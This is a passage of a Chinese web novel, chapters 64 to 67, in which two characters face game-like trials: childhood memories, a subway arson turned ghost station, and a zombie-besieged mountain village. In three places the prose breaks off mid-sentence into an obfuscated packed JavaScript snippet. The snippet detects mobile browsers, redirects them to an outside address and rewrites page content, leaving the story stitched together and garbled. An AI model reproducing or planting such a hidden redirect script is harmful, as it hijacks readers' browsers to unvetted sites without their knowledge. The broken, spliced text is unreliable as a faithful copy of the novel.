周嘉语就是中了彩票的那个,相较之下,她的头脑可能略逊一筹,但综合素质依旧很突出。与她相比,周嘉文则平庸太多,相貌尚算出挑,脑袋却只是寻常人的水准,他长了周嘉语七岁,最后两人却是一起从大学毕业。 他按部就班的继续读研,而后开了一家甜品店,周嘉语却是从小学习舞蹈,去面试幕间剧团被直接录取,从此成为一名演员。她在剧团的势头很猛,是被剧团唯一力捧的新人,很快她就成为剧团首席。而后又用了十年时间,让幕间剧团扬名整个未来城市,她自己也成为当时风头最劲的演员。 有归不认识周嘉语,是因为她避世良久,在墨闲倾死后一头扎进游戏里种田盖房,两耳不闻窗外事。 艾莉安她们没认出周嘉语,是因为周嘉语早已退圈多年,但黎重认出来了。当年周嘉语被视作第二个墨闲倾,风头最盛,到达顶峰之时忽然宣布退圈,从此销声匿迹。毫不夸张地讲,整个未来城市都震了一震,无数猜测伴随着谣言流言甚嚣尘上,谁都没想到她居然转型做游戏博主去了。 周嘉语的人生很精彩,即便略有波折,也只是助她登上更高处的垫脚石罢了。她站得太高,光芒太盛,自然看不见周嘉文,即便她可以说是周嘉文一手带大的。 而如今见到幼时发生的种种,心里有一种明镜似的恍然。 她明白副本为何要这样设置了。 这的确是历练。 周嘉语把立在身前的房门一一打开,看见自己从牙牙学语的婴儿长成亭亭玉立的少女,身边都跟着一个周嘉文。与其说他是哥哥,不如说他是周嘉语的专属保姆,他大周嘉语太多,尤其她们的妈妈是工作狂,哪怕是对周嘉语这个女儿百般疼爱,但陪她的时间并不多。 所以长久以来,陪伴在周嘉语身边的,都是周嘉文这个哥哥。 是他给她冲奶粉喂自己喝下,可以吃饭后又耐心的把东西都捣成糊糊喂她,等再大一些,又教她怎么用筷子和刀叉。 她挑食,不喜欢的东西绝对不碰,是他费心搭配营养均衡的饭菜。 她闹脾气,是他给她讲道理,指出她做的不对的地方。 她对自己要求苛刻,自觉做得不够完美,偷偷躲起来哭,是他找到她,鼓励她支持她。 于周嘉语而言,周嘉文是哥哥,也是父亲般的存在。 只是哥哥。 她一路数过去,打开了十道门,一直看到她和周嘉文大学毕业。 周嘉语知道,真正的考验来了,但当她拉开第十一道门时,情况却变了。 眼前的场景并不是她想象中的那样,反而是一片黑暗,内里不知延伸到何方去。周嘉语曾经去过一个很可怕的异世界,倒也不怕这个,她只是奇怪第十一道门会是这个。 没多考虑,周嘉语大步走了进去。 紧接着一阵失重感,眼前场景变换,还没等她看清自己身处什么样的环境之中,就被从背后伸出的一只手捂住了口鼻。 ...... 另外一边,黎重面临的场景和周嘉语大同小异,只是他眼前没有十二扇门,更不是普通民居的防盗门,而是冰冷的铁质大门。铁门后,是规划严整打理完美的庭院,正中的喷泉不知疲乏的工作着,再往后,是一座三层高的别墅。 这里就是黎重从小生活的地方。 他推开铁门,熟门熟路地穿过迷宫似的前庭,在后面花园的角落里找到正抓着一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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美好的人,美好的事物,总是让人心生向往。 黎重也是一样。 只是看着看着,那画面像是被水洇湿了一般,出现了好几处阴影。很快,阴影淹没了少女的身影,然后如同毒蛇一样,向他袭来。 他没有动,就坐在原地,黑暗瞬间吞没了他,转眼又如潮水般逝去。 “呜”的一声响。 脚下的地板忽然停止了颤动,黎重回过神来,转头看向窗外,他看见外面行色匆匆的人们,向装着他和众多人的这个铁壳子涌进来。 本就不大的空间很快就被人群填满了,他淡定自若地收回目光,衣服里的口袋里有什么东西在发烫。 是一张卡片。 【你叫黎重】 【你是一个普普通通的上班族,被不断上涨的房价和昂贵的物价压得喘不过气。】 【就在昨天,相恋五年的女友和你分手。你不怪女友,因为你的工资的确无法负担结婚费用和婚后的生活】 【你选择憎恨这个世界】 【所以你将打火机和一桶汽油带上了大江市9701号地铁上】 【现在你决定......】 65. 第 65 章 黎重隐隐觉得自己好像忘了什么重要的事,不过只是一瞬,他就收敛了心神,提着油桶拨开人群往外走。 他的选择很简单。 管它给的设定是什么,反正他不想死,也不想拖着别人陪他去死,所以得尽快把打火机和汽油处理掉。 眼看就要离开车厢,忽然周围的景象似乎定格了一般静止不动,然而只是瞬息之间,人群又开始流动。 情境重置。 黎重拿出了口袋里的卡片,黑色的卡片上的字仿佛是用鲜血一样粘稠的红色液体书就的,触之微微湿润,像是刚刚才书写成的。 【你是黎重】 【你一直在等一个人】 【你一直想见一个人】 【你不知道她是谁,你不知道她的名字,你不知道现在是否还活着,你不知道你们是否有想见的那一天】 【但你知道,你爱她。你爱上了一个素未谋面的陌生人,她与你甚至可能相距几千年光阴,但你还是无可救药地爱上了她】 【你生活在黑暗里,将她视作生命中唯一的阳光,但你抓不住她】 【看看吧,看看你周围的人群,看看他们脸上笑容——所有人都生活在阳光下,只有你一个人住在暗无天日的黑屋子里】 【杀吧!杀吧!把所有人都杀掉,把遮蔽人们目光的屏障打破吧,所有人都将和你一样】 【来吧来吧!将你手中的油桶用打火机点燃,你将迈出走向深渊的第一步】 【向前吧,粉碎所有人的希望,让他们终日为死亡的阴影嚎哭吧!】 非常具有煽动性的语言,黎重几乎就要被蛊惑了,勾出了他极力隐藏的那些阴暗心理。 与那些在培育机构诞生的小孩不同,黎重是经过筛选培育之后,在母亲的子宫里诞育的。 黎家是无比守旧迷信的家族,坚信只有经母亲身体孕育出生的小孩,才是这个世界最完美的存在。所以哪怕未来政府早已立法禁止人类代孕,黎家依旧在偷偷实验,试图让母体回归到未来时代之前的形态。 最后的实验很成功,所以黎重成为进入未来时代以后,第一个自然生育的婴儿。 而这只是不幸的开始。 因为黎家的实验只考虑婴儿的诞生顺利与否,而忽视了母体,导致黎重的母亲在产育过程中因撕裂大出血而死。 人类死亡后,与之关联的终端会将信号传输到最终处理器。 黎重的母亲明显不到自然死亡的年龄,黎家也无法给出合理的死亡理由和证实图像与视频,最终处理器无法通过,只能交由专门的机构复核。这样一来,黎家所做的事情就无法再隐瞒了。 这件事情被公之于众,引起舆论的轩然大波,人们纷纷斥责黎家的做法是开历史倒车,将之视为异端,认为这是对人权的剥夺。黎重这个与众不同的婴儿,也受到了人们的敌视。但整个事件中最为无辜的也是他,未来政府当然不会对一个小孩子做什么,只是依法逮捕了所有参与此事的相关人员,尤其是黎家主。 黎家主没有逃,是逃无可逃,也是不想逃。 死去的黎重的母亲是他唯一的女儿,他亲眼看着一颗小小的胚胎发育成一个完整的生命,是他一手将女儿抚养长大,也是他亲手断绝了亲生女儿的生命。 未来时代的人们亲情淡薄,是因为减少了陪同孕育和见证成长的过程,而黎家主却是全程参与,这于他,无异于凌迟。 官方做出了公正的裁决,在被处死之前,黎家主将黎家那庞大家产的一半捐献给政府,以换取官方的看顾,让自己那个刚出生不久的孙儿可以顺利长大。 黎家主的选择是正确的,但这样的举动只能保证黎重身体的健康,却无法照顾到他的心理。 早在黎家主自作聪明剔除了部分他认为不好的基因,让黎重天生存在某种缺陷,而后天的环境,更加深了这种残缺。 黑暗里真的有怪物。 从记事开始,黎重就频繁看到那些丑陋的东西,面孔狰狞,形体扭曲。它们狞笑着向他伸出手,他只能尖叫着躲在角落里,用手抱着头,发出急促惊恐的叫声。 没有人能够帮他,哪怕匆忙赶来的保姆将他抱在怀里安抚,依旧不能让他平静下来。没有人能够明白他在害怕什么,没有人知道他到底看见了什么,人们只能看见他时常无端的惊叫,眼神惊恐,然而屋子里什么也没有。 人们搬进未来城市已经三千多年了,安逸的生活让人们遗忘了可能存在的危险。 什么?你说墙外危机四伏,万一有一天攻破了未来城的高墙怎么办?那不是应该官方操心的事吗,而且每年都有检修,还在不断加固更新,外面的东西怎么可能打得进来? 再说了,过去了这么久,说不定那些东西早就死光了。 因为这种不以为然的态度,人们选择性的遗忘了可能到来的终局,黎重的恐惧便显得不合时宜了。 本就因出生备受指摘,虽然罪责不应该由他来承担,但人并不是法律,没有那么标准的尺来界定是非对错。糊涂的人只看得见因为他的出生,本来辉煌的黎氏家破人亡,聪明人也只是叹口气,却也无意辨白清楚。 世间事,哪是那么容易说清的。 黎重就这么长大了,心里的阴影越来越深,多得就要将他自己淹没,直到他在九岁那年,在老宅找到一张古早时期的光盘。 那个女孩,和她脸上的笑容,短暂的点亮了他暗无天日的世界。 黎重不知道这个是谁,叫什么名字,住在哪里,甚至他都不知道她是不是还活着。影片的最后女孩的演员署名是元依,时间太过久远,即使使用终端,也搜寻不到女孩的任何信息。 他甚至无法确认这是不是女孩的真实姓名。 黑色卡片上的字的确说中了他的恐惧:他确实可以只守着身边一点点微弱的火光,努力挣扎着活在当下,如果这点希望其实根本不存在呢? 因为规则,或许是黑色卡片的影响,他其实并不记得那些回忆,但痛苦和恐惧是根植于他的内心深处的。这是从一开始就产生的隐忧,在今日可以的催化之下,出现了崩塌的迹象。 黎重垂目看着地上的油桶,又抬头看着周围的人们。他们脸上并不都是洋溢着幸福的笑容,可即使是每日997到死的社畜,看上去依旧比他要好得多,毕竟人们每日奔波,都是为了自己和家人。 想要活下去也好,希望有更好的生活也罢,总归有一个目标,有一个方向。 但是他没有! 黎重心里扭曲的恶意几乎都要满溢出来了。 凭什么!凭什么! 凭什么你们每个人都比我过得好! 凭什么你们都有希望,而我无论怎么挣扎都只是徒劳! 既然如此,那就都陪我下地狱吧。 黎重全身都在冒着黑气,他看不见,周围的人们也看不见。车厢内外的人群都不知道会发生什么,只是安静的等待列车重新启动。 他从兜里摸出打火机,正要掀开盖子点燃油桶,忽然旁边的小女孩看着他哇哇大哭起来。 黎重也被吸引了注意力,眼角余光忽然瞥见车窗玻璃,他直接僵在原地。只见玻璃窗上映出的他,头顶多了一对丑陋的角,他的五官也发生了一些变化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812122|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔变得又长又细,线条略微平直,仿佛是一个菱形,撑满了整个眼球;眉毛连成一线;鼻孔消失了,只剩一个肉瘤堆在脸的中央;下面的嘴巴拉长成一个圆润的弧形,就像小丑脸上的笑容。 打火机从他手上滑落在地,发出“啪嗒”一声脆响,黎重把头转向前方,脖子像生锈的机器那样凝滞僵硬。本就大哭的小女孩见状哭得更大声了,她的妈妈怎么哄都哄不好,只好对周围的人们连连道歉。 我会变成怪物! 我已经成为怪物了吗?我真的要变成这副模样吗?丑陋的连小孩都不愿意再看一眼的怪物,如果她知道这件事,会用什么样的目光看我? 面对一个怪物,她或许不会怎样,但如果是一个滥杀无辜,手上鲜血累累的怪物呢?为了一己私欲毁灭几百条人命,她会怎么看待自己? 她那么善良,连素不相识的陌生人都愿意庇护,却又恩怨分明。如果自己真的做了这件事,她肯定会直接杀了自己,想到那样的画面,黎重就觉得呼吸困难。 这不是他想要看见的局面。 黎重俯身抱起那桶油往外冲,忽然瞥见后面的一道身影,等他看清那人在做什么的时候,全身的血液都仿佛冻住了。 “快跑!”黎重嘶吼出声。 他也只来得及说出这两个字,周围的人正一头雾水,忽见某个人将一个塑料瓶点燃,扔向车厢中央。瞬间一股刺鼻的汽油味充满整节车厢,大火“轰”的一声烧了起来,这车厢也不知道用什么建的,火势涨得很快,不一会儿,就蔓延到整座车厢。 好在此时列车停靠到站,车门都是打开的,人们纷纷逃离车厢,除了纵火者和离得太近闪避不及的几个人,大多数人都还平安。 大伙很快添透了列车的每一节车厢,黑烟弥漫,人们纷纷向车站外逃去。黎重用手捂住口鼻,也随人流向外面跑去,然而这时,他却看见一辆很长的列车从与他们乘坐的这一辆相对的地方驶过来,平稳地停在着火的列车后。 那张黑色的卡片又出现了。 【你是黎重】 【你是着火的9701号地铁列车的司机】 【你尝试用灭火器灭火,但车厢内易燃物太多,你根本无法控制。眼看火势越来越大,很快就会烧到驾驶室,你选择......】 情境又重置了。 黎重果断扔掉手里的灭火器,招呼受伤的乘客先离开,自己则到驾驶室联系地铁指挥中心:“指挥中心,这里是9701,现在现在列车已经着火,火势太大无法扑灭,申请弃车。” 他将这句话重复了两遍,然后挂断通讯,最后一个离开驾驶室。 就在他走出车门的那一瞬,火舌瞬间点燃了驾驶室,黎重双手都插在口袋里,回头看了眼燃烧的列车。 车站的广播什么声音都没有,整个站台只有人们逃命时发出的尖叫声和哭声,以及,对向驶来的8010列车的轰鸣声。 8010列车就停在9701号的后面,两车之间轨道并行,并无站台隔离。 这也就意味着,燃烧的9701的超高温度,是可以直接传递到8010号列车上的,甚至火势直接传导过去,让列车也烧起来。 不等黑色卡片做出反应,黎重转身向8010号列车跑去。路过着火的车厢时,手一扬,熊熊燃烧的火蛇便争先恐后的挤上来,试图将之舔舐殆尽。 这似乎是一个出乎预料的举动,那卡片仿佛迟疑着什么,过了足有一分钟之久,上面的红色才仿佛流动一般,自然而然转换了字迹。 【幽灵车站】 随后一同消失在火海中。 66. 第 66 章 黎重是站在列车的驾驶室,正是头部的位置,跨越两道地铁轨道,就是8010号地铁的车尾。 两车是对向行驶的,头尾相对,他连忙向车头,也就是驾驶室的方向跑去。 这时整个地铁站台区域都被浓烟笼罩,黎重扯起制服的一角捂住口鼻,眼睛却被黑烟熏得通红,不住地流着眼泪。这是生理性的反应,不是他能控制的,泪眼朦胧中,他看见眼前的列车门窗紧闭着,窗后人头攒动。 是真的人头,车厢内的人们都挤到了靠近站台的这一面窗户,每一张脸都写满了恐慌,眼神里透着惊惧。 因为黑色卡片已经被烧毁,被强加在黎重身上的规则,亦或者设定也随之消散,他现在行动自由,无所拘束,被强制遗忘的记忆也都回来了,包括他之前所经历的那些事。 黎重敏锐地觉察到了不对,那张黑色卡片似乎一直在煽动他,试图唤出他内心深处最阴暗的渴望。一旦他没有抵挡住这种诱惑,或许会被异化成怪物,永远留在这里。 这不是普通的历练,有人暗中动了手脚。 是谁?为什么要这样做? 这两个问题只在黎重脑海中闪过一瞬,现在无法解决的事情没必要过多关注,他将注意力放在眼前的列车上。 8010号列车车窗依旧紧闭。 这很不对劲。 依照卡片给出的设定,他已经向地铁指挥中心报告了9701号的火情。按理来说,地铁指挥中心应该立马作出反应,对各列车组下达禁止入站的指令才对,并且通过广播疏散人群。 结果都这会儿,也没怎么看到地铁站的工作人员,8010号甚至直接停在了着火列车的旁边,明明已经到站了,依旧紧闭车门。 黎重本能的觉得不对,他之前看到8010号进站时是放慢速度缓慢停靠下来的,在这种浓烟滚滚无法看清停车点位置的情况下,这样的行动明显是人为操控的。 可既然驾驶员知道这个车站发生了火情,为什么还要进站?既然已经到站了,为什么又不打开车门让乘客逃生? 他就要到8010号驾驶室的位置,这时距离列车着火已经过去了五分钟,因为车窗紧闭,进入车厢的烟雾不算太多,人们还能坚持得住。 但只是这样是不行的,两辆车停的太近了,封闭的车厢就是一个人为制造的大烤炉,人们就是被熏烤的食材。而且9701号列车那么快就烧了起来,8010号又能好到哪去,恐怕没多久火势就是蔓延到这里来,将车上的乘客全部烧成灰。 到那时候,真的想逃都无法逃了。 黎重不算好人,但有时候,他也想做点好事。 驾驶室里车长还在通过广播安抚乘客:“请大家不要恐慌不要乱动,列车即将驶离。” 因为刚才扮演了一回地铁列车长,黎重通过这个知道一些有关地铁的知识,比如驾驶室的门是机械结构。他伸手一推,长腿一跨,就进入了8010号列车的驾驶室,捏着拳头给不作为的车长一拳,把他提溜到一边去,自己坐上去,开始广播: “各位乘客请注意,各位乘客请注意,因9701号列车发生火情,现进行紧急疏散。请大家到车门处有序排队,车门即将打开,不要拥挤,注意掩护口鼻,不要吸入过多烟雾。带水的乘客可以将布条打湿,遮掩口鼻,祝大家有一个美好的明天。” 他一边广播,一边按下开门按钮,没有动静。想了想,就明白是为什么了,继续广播:“因列车气温过高触发安全机制,列车自动断电,现手动修改权限重新启动,请大家耐心等待,注意保护自己。” 黎重充其量算一个新手司机,按按钮只要有手就行,但更改地铁权限却不是简单的操作。他缓缓吐出一口浊气,叫自己冷静下来,8010号地铁上有两百多名乘客,两百多条人命都担负在他肩上,再加上旁边列车大火的炙烤,豆大的汗珠顺着他的脸不断流淌。 像是过了一万年那么久,权限修改成功,列车重新通电,黎重通过广播提醒乘客:“车门即将打开,请注意安全。” 悬在车门按钮上的手指按了下去,8010号地铁列车的车门一一打开是,早就守候在此的乘客们涌出车门,四散奔逃。 黎重像是脱力般向后倒去,全身都被汗水打湿了,额头的汗水跟瀑布似的流淌,他靠在椅背上,大口大口的喘着气。之前看有归云淡风轻的模样,总觉得这不是什么大事,等到轮到自己了,才知道其中的压力。 喘息片刻,黎重正要离开,列车最前面的前风窗上却映出了恐怖的一幕:只见被他打晕的列车长摇摇晃晃的走过来,状似恶鬼,伸出一双肤色青白指甲尖利的枯手向他头颅刺来! 说时迟那时快,黎重一偏头,厉鬼扑了个空,却还不罢休,又向他猛然扑去。 普通人怕鬼,一是难以克服心里的恐惧,二是力量差距过大。而黎重最不怕这个,真让他彻底释放天性恐怕比鬼还凶,至于力量,他能一路走到这里,自然不会是绣花枕头。 他握紧拳头照着鬼的脑袋狠狠来了一下,一抬腿将它踢到车厢上去。因为手边没有趁手的工具,左右看了看,双手抓住固定在地上的座椅,一用力,操起椅子就向厉鬼砸去。 之前着急救人,现在一口气打个够。 黎重用座椅把鬼砸成稀巴烂,一脚踩在它那张难看死了的脸上,还用力蹭了蹭,无比让它看不出原来的样子。 这么丑的一张脸也不知道怎么好意思跑出来的,真是影响心情。 恶鬼奄奄一息的瘫在地上,如果用人类的状态来形容的话,那就是进气多出气少。不过鬼本是死人变的,再死一次也不知道会变成什么,黎重不关心这事,自然也不会留在这里等结果。 他站起身,整理了一下身上的衣服,推开车门。 从看到厉鬼状态的车长时,黎重对外面的情况就有预料,但真的亲眼看到时,情况还是有些出乎他的意料。 只见两辆烧得黢黑的列车停在场地中央,只剩下钢铁车架,车顶,站台,轨道上,卧着,躺着,坐着,站着,整个空间游荡着无数皮肤青白浑浑噩噩的人影。还有一些焦炭似的人影,身上发出刺鼻的烟熏味,似乎是被烧死的。 他不是已经救下这些人了吗? 地铁站已经大变样,所有地面的可见的建筑都显露出被大火焚烧过的痕迹,连天花板都被烟熏得漆黑。整个站台的大体结构还在,作为支撑的柱子有几根已经垮塌,可以想见火势的猛烈程度。 黎重忍受着难闻的味道,一路上到站厅,那里聚集的青白皮肤的人影更多,都挤在大厅的出入口和通道那里,似乎想要逃出去。他穿过重重叠叠的人影,挤到最前方去,发现出入口已经被封死了,通道那里也是一样的情况。 人影中有几个穿着地铁工作人员制服的身影,黎重试图和他们交流,但他们连看都不看他一眼,无奈只能放弃。想要和周围的人影说话,得到的结果也是一样的。 奇怪。 和他同在驾驶室的车长无故变成了厉鬼,一心要杀死他,枉死的人们却如此平和,情景似乎颠倒过来了。人们对待死亡如此平静的吗?既然如此,站厅的出口前又为何聚集了这么多人? 从这站厅的情况来看,似乎也经过烟熏火燎,但这里和车厢不同,并没有那么多可燃物,火又是怎么烧起来的?黎重在大厅的四个角落里分别找到了起火点,堆积着厚厚的黑色物质,地板砖脏污不堪,如果是用汽油引火的,这会儿应该已经挥发完了。 黎重分辨不出黑色物质到底是什么东西,但他可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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地面在颤动,黎重感觉像是回到了刚开始来到这里的时候,但四周开始剥落的墙体告诉他,并不是这样。地板出现巨大的裂纹,随后地块向下掉落,大块大块的玻璃被震落,掉在地上摔得粉碎,连头顶的地面也开始扭曲变形。 这个地方就要塌了! 他拉着那个小女孩往后退,小女孩却挣脱了他的手,仰着脸,指着头顶被震塌的地方:“阳...光...” 四周浑浑噩噩的人影身形一震,抬头寻找那久违的明亮,只见一束阳光倾斜着洒进来,落在最底层的站台上。 有极亮的光点随阳光洒落,荧光点亮黑暗的地铁站,落在人影的身上,融入,让本来虚幻模糊的身影渐渐凝实。青白渐渐褪去,焦黑的外壳剥落,红润重归面颊,死去的人们仿佛重归人间,你看看我我看看你,互相拥抱,流出的泪水也是欢乐的。 重回可爱模样的小女孩拉了拉黎重的手,然后跑到人群中,回头对他挥了挥手,童声清脆:“叔叔,再见!” 荧光挥洒,仿佛下了一场无声的雪,片片雪花融入人们的身体,最终将所有人淹没。一阵风轻柔地吹过,吹落一场花开如雨,荧光四散开来,将四周照得亮如白昼,而后那光渐渐熄灭。 最后一点亮光消失,曾经人满为患的地铁站只剩下最后一个人。 黎重仰头看了眼那束阳光,轻声说:“再见。” 刚刚的震动将出入口堵塞的东西震开了,现在,他可以离开这里了。 走出地铁站,外面是铺天盖地的灿烂阳光,却只吝啬地施舍给那些已死之人仅仅一束。 但最后能堂堂正正的站在阳光下消散,也好过在阴暗的地底徘徊千年。 地面的建筑都已损毁,曾经繁华的都市现在是一片末日废土的萧条荒凉,到处都是灰色的,只有远处有一块葱茏涌动的绿意,那是伪装无害的杀机。 这就是高墙外的世界,生机断绝。 在这里,人类能够享用的,只有一点免费的阳光。 67. 第 67 章 另外一边周嘉语的情况十分危急,在那人捂上来后,周嘉语一把抓住这人的手指,向后一掰。这人察觉到她的想法,另一只手也压了上来,试图限制她的行动。低声道:“别动,是我!” 听这语气像是熟人,但你他妈是谁啊这么大脸,一上来捂嘴巴捂鼻子还这么命令人,周嘉语才不听他的。 她右手往后狠狠一折,这人吃痛不住,只能放开她,她迅速转身,抬手给了他一记老拳。 男人发出一声惨叫。 两人闹出的动静有些大,惊动了前方黑暗里的东西,不知道是人还是什么,只听到一阵剁剁剁剁的响声。仿佛自带回响似的,非常有节奏,像是很多人一起起跳又一起落下的动静,由远及近,连成一片。 这声音听得周嘉语头皮发麻,好像有什么意料之外的事情发生了,她不敢再待在原地,起身就要跑。那个男人一把拉住她,也不说话,辨明了方向,就拽着她向前跑去。 事发突然,周嘉语现在才看清这原来是一个非常高大的男人,拖拽着一个拖油瓶夺命狂奔,依旧速度不减,把那片剁剁剁剁的可怕声响远远甩在身后。再看自己,最多知道男人肩膀的位置,被抓着的那只手手腕纤细的好像一折就断,她握了握手,没什么力量的感觉。 这是一具很孱弱瘦小的身体。 不过也对,她自己的身体这时候应该还躺在小楼里,确实没法一起带过来。 这就很糟糕了。 所谓历练考验,无非就看两样,才干和胆识。才干来源于头脑,胆识更多的要归功于强健的身体,或是有所倚侍,这两点周嘉语原本都具备,现在却强行砍掉了一项,战斗力自然大打折扣。不过倒也不是没有补救的方法。 男人带着她一口气奔出很远,眼睛适应了黑暗之后,借着微弱的一点光,周嘉语看见朦胧的山的轮廓:她们现在的确正在往山上奔逃。 直到跑到山上的某个地方,再听不到那剁剁的声响,男人才停下来,松开她的手,双手撑着膝盖,弯着腰大声喘着粗气。 树深林密,遮蔽了天上点点星光,周嘉语看不清男人的长相,也不知道自己长什么样。但男人挨了一拳,逃命的时候都不忘记带上她,不是亲哥哥就是喜欢自己这具身体的人。她没有继承身体主人的记忆,不知道该用什么样的表情面对这人,好在都看不清,决定先发制人,忖度着用担心的语气说:“你没事吧?刚刚你忽然从背后冒出来,吓死我了,我还以为是坏人呢!” ‘没事,’男人声音带笑,“你那点力气不算什么,也就疼那一下。” 过了一会儿,男人喘匀了气,带着她继续往山上去。周嘉语不熟悉这山,又看不清路,山路窄小又难走,时常踩空,这身体也弱,如果不是男人在前面拽着她,她早就滚下山去了。 “小语,”男人低沉的声音响起,带着浓浓的劝慰,“我知道你想家了,想回去,但村子已经被僵尸占领了,它们杀死了你爸妈和村民们,把村子当成了窝点,我们不可能回得去的。” 这具身体残存的情绪涌了上来,周嘉语哽咽道:“我,我知道,我就是想再看一眼爸爸妈妈。” 男人站住,回身抱她,轻声安慰道:“好了,不哭了,我们一定会把僵尸赶出去的。” 这动不动就柔声细语的,还有这个拥抱,感觉不像是兄长,大概也不是单相思,倒像是一对恋人。因为身体的牵引,周嘉语泪水决堤,抓着男人胸前的衣服,哭得泣不成声。 这哭,也是小声的,压抑的。 山下的村庄遭遇僵尸袭击,幸存的村民们都躲到了山上。这山顶有一个很隐蔽的山洞,洞口是竖直的,离地面也就半人多高,僵尸根本无法往上爬,是这附近最安全的地方。 虽然是夏天,但山洞阴凉,人们升起了火堆,一方面是取暖,另一方面也是照明。这地方的另一个出口就开在悬崖峭壁上,倒也不用担心会缺氧。 见周嘉语进来,所有人的目光都落在她身上,男人见状解释道:“我是在村口追上她的,她还没进村,那些僵尸没发现她。” 众人都松了口气,把那种审视的目光移开,周嘉语微觉莫名,拿眼睛去看男人。 男人长得并不难看,但也不是什么惊世美男,五官只是端正,皮肤是常年被阳光暴晒的黝黑,笑起来露出八颗牙齿。他见周嘉语看他,笑得更灿烂了,拉过她在自己身边坐下,凑近她的耳朵小声道:“没事,他们就是在看你有没有被僵尸咬,被僵尸咬过的人会转化成新的僵尸。” 他呼出的热气喷在耳朵上,痒痒的,周嘉语只好往后躲,抬眼一看男人嘴巴咧得更大了,知道他是故意的,心里更叹了口气:这副模样明显就是坠入爱河热恋期的年轻人,在这种倒霉时候谈恋爱很容易悲剧啊! 不过好像已经悲剧了,这具身体的灵魂被自己取代,而他还不知道自己的恋人被夺舍了。 也不知道等她走了这姑娘的灵魂还会不会回来。 天已经晚了,山洞里又没有别的娱乐方式,除了睡觉就是聊天。想睡觉的裹了一层薄被闭上眼睛,剩下的小声说着话,发生了这样的事,大家心情都不好,兴致不高,有一搭没一搭的聊着。 周嘉语走了半夜山路,身体累的不行,却还是强撑着听下去。 原来这具身体的主人也叫周嘉语,是早产儿,先天就弱,后来又跟着父母逃难,本就不好的身体更差了,好不容易安顿下来,父母精心养了好几年,这才看上去强壮了一点。 男人叫沈英,听到这个名字周嘉语心情略微复杂,因为孟溪村那有一代人就是从草字。周嘉语装作不经意问了一句,果然上一代的他的母亲是从玉字辈,沈英就是沈凌璧的后辈。 沈英父母早逝,小时候是吃百家饭,后来周家搬到这里,便收养了他。倒也没什么打算,只是看他可怜给他吃穿,也是结份善缘,哪知道两个小东西居然看对了眼。 周家父母不觉得女儿体弱就必须依靠别人,从小就教女儿识文断字。这山村也不算穷,周家父母在村子里开了学堂,倒也收了一些学生,周嘉语在学堂也是一个小老师,将来大概就是继承这份家业,也能活。或者想办法回到城里去,城里还有周家的亲友,总能照拂她一二。 然后僵尸就来了。 很怪,僵尸这东西不是只存在小说游戏的吗?怎么会在这里出现呢? 周嘉语小声问沈英:“我记得你家里好像也是避难过来的,最后目的地是不是云雾山?” 沈英奇怪地看了她一眼,“这件事你不是早就知道了吗?” 周嘉语说:“我们总不能在山洞里躲一辈子,要不我们想办法投奔你在云雾山的亲戚吧?” 这话半真半假。 后一句话是假的。算时间,现在大概是新历900年左右,正是孟溪村局势最糟糕糜烂的时候,把人带过去那不是羊入虎口么。周嘉语只是试探罢了。 沈英神情悲伤:“不能去,这些僵尸就是从云雾山的方向过来的,我的那些族人们恐怕是凶多吉少。” 完全不同的历史走向,但周嘉语可从来没听说过僵尸出没的传说,这种生物是只存在于小说游戏等作品的虚构产物。如果根源真的出在云雾山,早就没孟溪村了,她们怎么可能在新历999年来到那里,她也就不用经历这次历练了。 她现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822746|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所经历的剧情大概是是另外制作的游戏DLC。 没想到这个坑比游戏偶尔还是会务一下正业的,居然制作了一个这么大型的扩展包,而且这个剧情走向看上去很有意思的样子。就是不知道通关方式是什么,是要端了僵尸的老巢彻底消灭僵尸,还是有别的说法。 不管怎么样,周嘉语知道自己没有鸠占鹊巢,还占了沈英对原主的关心爱护,负罪感总算是减少了一点。既然一切都是游戏设定,那接下来就好办了,虽然心里还是有些别扭,但也勉强可以说服自己靠着沈英睡觉了。 山洞条件简陋,没法像家里一样盖着被子舒舒服服的睡觉,周嘉语这副身体本来就弱,环境所限,睡得并不安稳。 半梦半醒间,忽然听见一阵窸窸窣窣的声响,她悄悄睁开眼睛,借着洞内未熄的火光,看见先前一直睡着的那个人起身,环顾一周,忽然蹑手蹑脚的往后面去。 这就怪了。 如果说是要起夜,大家之前挖的简易便所是在连接这个洞穴的另外一个山洞的下风口,根本不在这人去的方向。这家伙背着人,鬼鬼祟祟的去做什么?沈英提过,这洞里面有一道活水,沿着水流往下,是一条地下河。 这人去地下河干嘛? 周嘉语心里好奇,悄悄跟在那人身后。山洞里静悄悄的,落针可闻,她不敢跟的太近,远远坠在后面,好在这洞穴没有别的岔道,倒是不怕把人跟丢了。 